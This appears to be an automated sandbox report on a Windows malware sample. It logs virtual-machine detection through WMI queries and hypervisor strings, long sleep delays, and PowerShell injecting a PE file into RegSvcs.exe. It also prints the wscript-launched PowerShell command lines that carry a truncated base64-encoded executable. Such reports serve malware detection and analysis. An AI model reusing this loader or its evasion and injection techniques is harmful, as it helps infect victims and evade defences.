Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1280	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4332	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3736
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3392

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99638
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99359
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99244
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98874
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98546
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: wscript.exe, 00000000.00000003.302307322.000001D52CD5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}x
Source: RegSvcs.exe, 00000003.00000002.831596259.0000000005FD9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllowerManagementCapabilities
Source: powershell.exe, 00000001.00000003.310430015.0000028B4A593000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 42C000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 42E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 972008

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" [byte[]] $rowg = [system.convert]::frombase64string('tvqqaamaaaaeaaaa//8aalgaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaaaaa4fug4atannibgbtm0hvghpcybwcm9ncmftignhbm5vdcbizsbydw4gaw4gre9tig1vzguudq0kjaaaaaaaaabqrqaataedalaz+mmaaaaaaaaaaoaaaielavaaacyaaaagaaaaaaaaskqaaaagaaaayaaaaaaaeaagaaaaagaabaaaaaaaaaagaaaaaaaaaacgaaaaagaaaaaaaamayiuaabaaabaaaaaaeaaaeaaaaaaaabaaaaaaaaaaaaaaagbeaabpaaaaagaaacgdaaaaaaaaaaaaaaaaaaaaaaaaaiaaaawaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaiaaacaaaaaaaaaaaaaaaccaaaegaaaaaaaaaaaaaac50zxh0aaaaucqaaaagaaaajgaaaaiaaaaaaaaaaaaaaaaaacaaagaucnnyywaaacgdaaaayaaaaaqaaaaoaaaaaaaaaaaaaaaaaabaaabalnjlbg9jaaamaaaaaiaaaaacaaaalaaaaaaaaaaaaaaaaaaaqaaaqgaaaaaaaaaaaaaaaaaaaacuraaaaaaaaegaaaacaauaxcgaaoqaaaadaaaaaaaaakhdaac4aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab4ckaeaaaoqhgioawaaciqmcwqaaaqaaqaabhmfaaakgaiaaarzbgaacoadaaaecwcaaaqabaaabcoufgeaaarvcaaacioufgiaaarvcqaacioufgmaaarvcgaacioufgqaaarvcwaacirwfguaaaqukboaaaosaisgfguaaaqqcgeaahdqbqaaaigpaaakbxsaaapzhaaacoafaaaek9oafgyaaaqqhgkabgaabcpwcwwaaayohqaacnqgaaacgacaaaqqhgiohgaacioafgcaaaqqgignaaagkh4ckbiaaaoqabmwbabaaaaaaqaaexihaabwcxyrarzfagaaaaiaaaayaaaakx8xdad+iaaacgixkbsaaaysbxckfyvbkw0if9ymgcvscbsx3xykbiobmaoabqqaaaiaabfylqaacaioiqaacgwwkwewrqmaaaacaaaadqaaabgaaaaririd/hupaaacfyviegt+fq4aaaiyk9csaxz9gaaabbkrzbid0a8aaaiodwaacigiaaakuh0naaaeaygjaaaklq0icqeaahadkcqaaaomagh+jqaacn4laaakfhp+jqaachqsaxiekbaaaaytbnmmaaakegqfpcgnaaakewuwkwewrrqaaaafaaaafqaaacqaaaazaaaadaaaamaaaadtaaaa8gaaaaibaabqaqaazqeaag8baaciaqaanaeaalabaadiaqaa3geaaa0caaasagaaxqiaadhxagaabbefhztwkccaaaotbhcrliczaaaajqkaaaetbxgrhxehfiacaaeanhk4ep///ygoaaakgjmweqr7cgaabbehkbeaaaythhmmaaakeheeewoaaaqrbygsaaaglqzzjgaacnorbx8plbmigjg3////eqr7cqaabbeihtyscrosasgvaaaglqzzjgaacnorbhejmxyrbhsjaaaeeqkofwaabiwgcyyaaap6bbefh1dwkccaaaotchs46/7//wqrbr9u1ignaaakewsconj+//8rbhsjaaaeeqyrciaamaaah0aogaaabhmnhti5/v//bs0leq0tirctdb44qf7//xeeewkaaaqweqogadaaab9akbgaaaytdrenlqzzjgaacnorbhsjaaaeeq0eeqssasgwaaaglqzzjgaacnorbsd4aaaa1hmohwk4w/7//wqrbrzwkckaaaox2hmrhwo4rv7//xyteh8lodz+//84nwaaaaqrdh8m1ignaaakexmfddgj/v//bbeohxdwkccaaaotfb8noa/+//8eeq4ffnyojwaachmvhw44+/3//xeulesrfbfaf9angwaaarmwhw844/3//wqrfrewfhewjmkokgaach8qom39//8rbhsjaaaeeq0re9yrfhewjmksasgwaaaglqzzjgaacnordh8o1hmohxe4nv3//xesf9ytehesere+wp///xenkcsaaaotdx8soh/9//8rbhsjaaaeeqge1hepghibkbyaaaytbnmmaaakegqrbr8o1ignaaakexafezho/f//eqwsbbegew0rbx8seq0renaehxq4nf3//ygoaaakgjmweqr7cgaabbehkbmaaaythhmmaaakeheeewoaaaqrbyguaaaglqzzjgaacnorbhskaaaekbkaaayvmwzzjgaacnrescgsaaakfisbfkudaaaaagaaabqaaaakaaaakyorbhslaaaehcgtaaakexcxk9srfywherdvlgaachykgcvlkc8aaaozk8peahckbioaaabbhaaaaaaaafsaaabeawaauqmaaegaaaayaaabhgioegaaciobmaqa7qaaaamaabfzmaaaciuomqaacm8yaaakaigzaaakkdqaaapypqaachkxaabwbzuaaapytqaachldaabwbzuaaapyxwaachltaabwbzuaaapy1waachljaabwbzuaaapy5waachl5aabwbzuaaapy/qaachipaqbwbzuaaapyeweachilaqbwbzuaaapyk
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" [byte[]] $rowg = [system.convert]::frombase64string('tvqqaamaaaaeaaaa//8aalgaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaaaaa4fug4atannibgbtm0hvghpcybwcm9ncmftignhbm5vdcbizsbydw4gaw4gre9tig1vzguudq0kjaaaaaaaaabqrqaataedalaz+mmaaaaaaaaaaoaaaielavaaacyaaaagaaaaaaaaskqaaaagaaaayaaaaaaaeaagaaaaagaabaaaaaaaaaagaaaaaaaaaacgaaaaagaaaaaaaamayiuaabaaabaaaaaaeaaaeaaaaaaaabaaaaaaaaaaaaaaagbeaabpaaaaagaaacgdaaaaaaaaaaaaaaaaaaaaaaaaaiaaaawaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaiaaacaaaaaaaaaaaaaaaccaaaegaaaaaaaaaaaaaac50zxh0aaaaucqaaaagaaaajgaaaaiaaaaaaaaaaaaaaaaaacaaagaucnnyywaaacgdaaaayaaaaaqaaaaoaaaaaaaaaaaaaaaaaabaaabalnjlbg9jaaamaaaaaiaaaaacaaaalaaaaaaaaaaaaaaaaaaaqaaaqgaaaaaaaaaaaaaaaaaaaacuraaaaaaaaegaaaacaauaxcgaaoqaaaadaaaaaaaaakhdaac4aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab4ckaeaaaoqhgioawaaciqmcwqaaaqaaqaabhmfaaakgaiaaarzbgaacoadaaaecwcaaaqabaaabcoufgeaaarvcaaacioufgiaaarvcqaacioufgmaaarvcgaacioufgqaaarvcwaacirwfguaaaqukboaaaosaisgfguaaaqqcgeaahdqbqaaaigpaaakbxsaaapzhaaacoafaaaek9oafgyaaaqqhgkabgaabcpwcwwaaayohqaacnqgaaacgacaaaqqhgiohgaacioafgcaaaqqgignaaagkh4ckbiaaaoqabmwbabaaaaaaqaaexihaabwcxyrarzfagaaaaiaaaayaaaakx8xdad+iaaacgixkbsaaaysbxckfyvbkw0if9ymgcvscbsx3xykbiobmaoabqqaaaiaabfylqaacaioiqaacgwwkwewrqmaaaacaaaadqaaabgaaaaririd/hupaaacfyviegt+fq4aaaiyk9csaxz9gaaabbkrzbid0a8aaaiodwaacigiaaakuh0naaaeaygjaaaklq0icqeaahadkcqaaaomagh+jqaacn4laaakfhp+jqaachqsaxiekbaaaaytbnmmaaakegqfpcgnaaakewuwkwewrrqaaaafaaaafqaaacqaaaazaaaadaaaamaaaadtaaaa8gaaaaibaabqaqaazqeaag8baaciaqaanaeaalabaadiaqaa3geaaa0caaasagaaxqiaadhxagaabbefhztwkccaaaotbhcrliczaaaajqkaaaetbxgrhxehfiacaaeanhk4ep///ygoaaakgjmweqr7cgaabbehkbeaaaythhmmaaakeheeewoaaaqrbygsaaaglqzzjgaacnorbx8plbmigjg3////eqr7cqaabbeihtyscrosasgvaaaglqzzjgaacnorbhejmxyrbhsjaaaeeqkofwaabiwgcyyaaap6bbefh1dwkccaaaotchs46/7//wqrbr9u1ignaaakewsconj+//8rbhsjaaaeeqyrciaamaaah0aogaaabhmnhti5/v//bs0leq0tirctdb44qf7//xeeewkaaaqweqogadaaab9akbgaaaytdrenlqzzjgaacnorbhsjaaaeeq0eeqssasgwaaaglqzzjgaacnorbsd4aaaa1hmohwk4w/7//wqrbrzwkckaaaox2hmrhwo4rv7//xyteh8lodz+//84nwaaaaqrdh8m1ignaaakexmfddgj/v//bbeohxdwkccaaaotfb8noa/+//8eeq4ffnyojwaachmvhw44+/3//xeulesrfbfaf9angwaaarmwhw844/3//wqrfrewfhewjmkokgaach8qom39//8rbhsjaaaeeq0re9yrfhewjmksasgwaaaglqzzjgaacnordh8o1hmohxe4nv3//xesf9ytehesere+wp///xenkcsaaaotdx8soh/9//8rbhsjaaaeeqge1hepghibkbyaaaytbnmmaaakegqrbr8o1ignaaakexafezho/f//eqwsbbegew0rbx8seq0renaehxq4nf3//ygoaaakgjmweqr7cgaabbehkbmaaaythhmmaaakeheeewoaaaqrbyguaaaglqzzjgaacnorbhskaaaekbkaaayvmwzzjgaacnrescgsaaakfisbfkudaaaaagaaabqaaaakaaaakyorbhslaaaehcgtaaakexcxk9srfywherdvlgaachykgcvlkc8aaaozk8peahckbioaaabbhaaaaaaaafsaaabeawaauqmaaegaaaayaaabhgioegaaciobmaqa7qaaaamaabfzmaaaciuomqaacm8yaaakaigzaaakkdqaaapypqaachkxaabwbzuaaapytqaachldaabwbzuaaapyxwaachltaabwbzuaaapy1waachljaabwbzuaaapy5waachl5aabwbzuaaapy/qaachipaqbwbzuaaapyeweachilaqbwbzuaaapyk

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALAZ+mMAAAAAAAAAAOAAAiELAVAAACYAAAAGAAAAAAAAskQAAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGBEAABPAAAAAGAAACgDAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuCQAAAAgAAAAJgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAACgDAAAAYAAAAAQAAAAoAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAALAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACURAAAAAAAAEgAAAACAAUAxCgAAOQaAAADAAAAAAAAAKhDAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKAEAAAoqHgIoAwAACiqmcwQAAAqAAQAABHMFAAAKgAIAAARzBgAACoADAAAEcwcAAAqABAAABCoufgEAAARvCAAACioufgIAAARvCQAACioufgMAAARvCgAACioufgQAAARvCwAACirWfgUAAAQUKBoAAAosAisGfgUAAAQqcgEAAHDQBQAAAigPAAAKbxsAAApzHAAACoAFAAAEK9oafgYAAAQqHgKABgAABCpWcwwAAAYoHQAACnQGAAACgAcAAAQqHgIoHgAACioafgcAAAQqGigNAAAGKh4CKBIAAAoqABMwBABAAAAAAQAAEXIhAABwCxYrARZFAgAAAAIAAAAYAAAAKx8XDAd+IAAACgIXKBsAAAYsBxcKFyvbKw0IF9YMGCvSCBsx3xYKBiobMAoABQQAAAIAABFylQAAcAIoIQAACgwWKwEWRQMAAAACAAAADQAAABgAAAArIRID/hUPAAACFyviEgT+FQ4AAAIYK9cSAxZ9GAAABBkrzBID0A8AAAIoDwAACigiAAAKuH0NAAAEAygjAAAKLQ0IcqEAAHADKCQAAAoMAgh+JQAACn4lAAAKFhp+JQAAChQSAxIEKBAAAAYtBnMmAAAKegQfPCgnAAAKEwUWKwEWRRQAAAAFAAAAFQAAACQAAAAzAAAAdAAAAMAAAADTAAAA8gAAAAIBAABQAQAAZQEAAG8BAACIAQAAnAEAALABAADIAQAA3gEAAA0CAAAsAgAAXQIAADhxAgAABBEFHzTWKCcAAAoTBhcrliCzAAAAjQkAAAETBxgrhxEHFiACAAEAnhk4eP///ygoAAAKGjMWEQR7CgAABBEHKBEAAAYtHHMmAAAKehEEewoAAAQRBygSAAAGLQZzJgAACnoRBx8plBMIGjg3////EQR7CQAABBEIHtYSCRoSASgVAAAGLQZzJgAACnoRBhEJMxYRBHsJAAAEEQkoFwAABiwGcyYAAAp6BBEFH1DWKCcAAAoTChs46/7//wQRBR9U1ignAAAKEwscONj+//8RBHsJAAAEEQYRCiAAMAAAH0AoGAAABhMNHTi5/v//BS0lEQ0tIRcTDB44qf7//xEEewkAAAQWEQogADAAAB9AKBgAAAYTDRENLQZzJgAACnoRBHsJAAAEEQ0EEQsSASgWAAAGLQZzJgAACnoRBSD4AAAA1hMOHwk4W/7//wQRBRzWKCkAAAoX2hMRHwo4Rv7//xYTEh8LODz+//84nwAAAAQRDh8M1ignAAAKExMfDDgj/v//BBEOHxDWKCcAAAoTFB8NOA/+//8EEQ4fFNYoJwAAChMVHw44+/3//xEULEsRFBfaF9aNGwAAARMWHw844/3//wQRFREWFhEWjmkoKgAACh8QOM39//8RBHsJAAAEEQ0RE9YRFhEWjmkSASgWAAAGLQZzJgAACnoRDh8o1hMOHxE4nv3//xESF9YTEhESERE+WP///xENKCsAAAoTDx8SOH/9//8RBHsJAAAEEQge1hEPGhIBKBYAAAYtBnMmAAAKegQRBR8o1ignAAAKExAfEzhO/f//EQwsBBEGEw0RBx8sEQ0RENaeHxQ4Nf3//ygoAAAKGjMWEQR7CgAABBEHKBMAAAYtHHMmAAAKehEEewoAAAQRBygUAAAGLQZzJgAACnoRBHsKAAAEKBkAAAYVMwZzJgAACnreSCgsAAAKFisBFkUDAAAAAgAAABQAAAAkAAAAKyoRBHsLAAAEhCgtAAAKExcXK9sRFywHERdvLgAAChYKGCvLKC8AAAoZK8PeAhcKBioAAABBHAAAAAAAAFsAAABeAwAAuQMAAEgAAAAYAAABHgIoEgAACiobMAQA7QAAAAMAABFzMAAACiUoMQAACm8yAAAKAigzAAAKKDQAAApypQAAcHKxAABwbzUAAApytQAAcHLDAABwbzUAAApyxwAAcHLTAABwbzUAAApy1wAAcHLjAABwbzUAAApy5wAAcHL5AABwbzUAAApy/QAAcHIPAQBwbzUAAApyEwEAcHIlAQBwbzUAAApyK
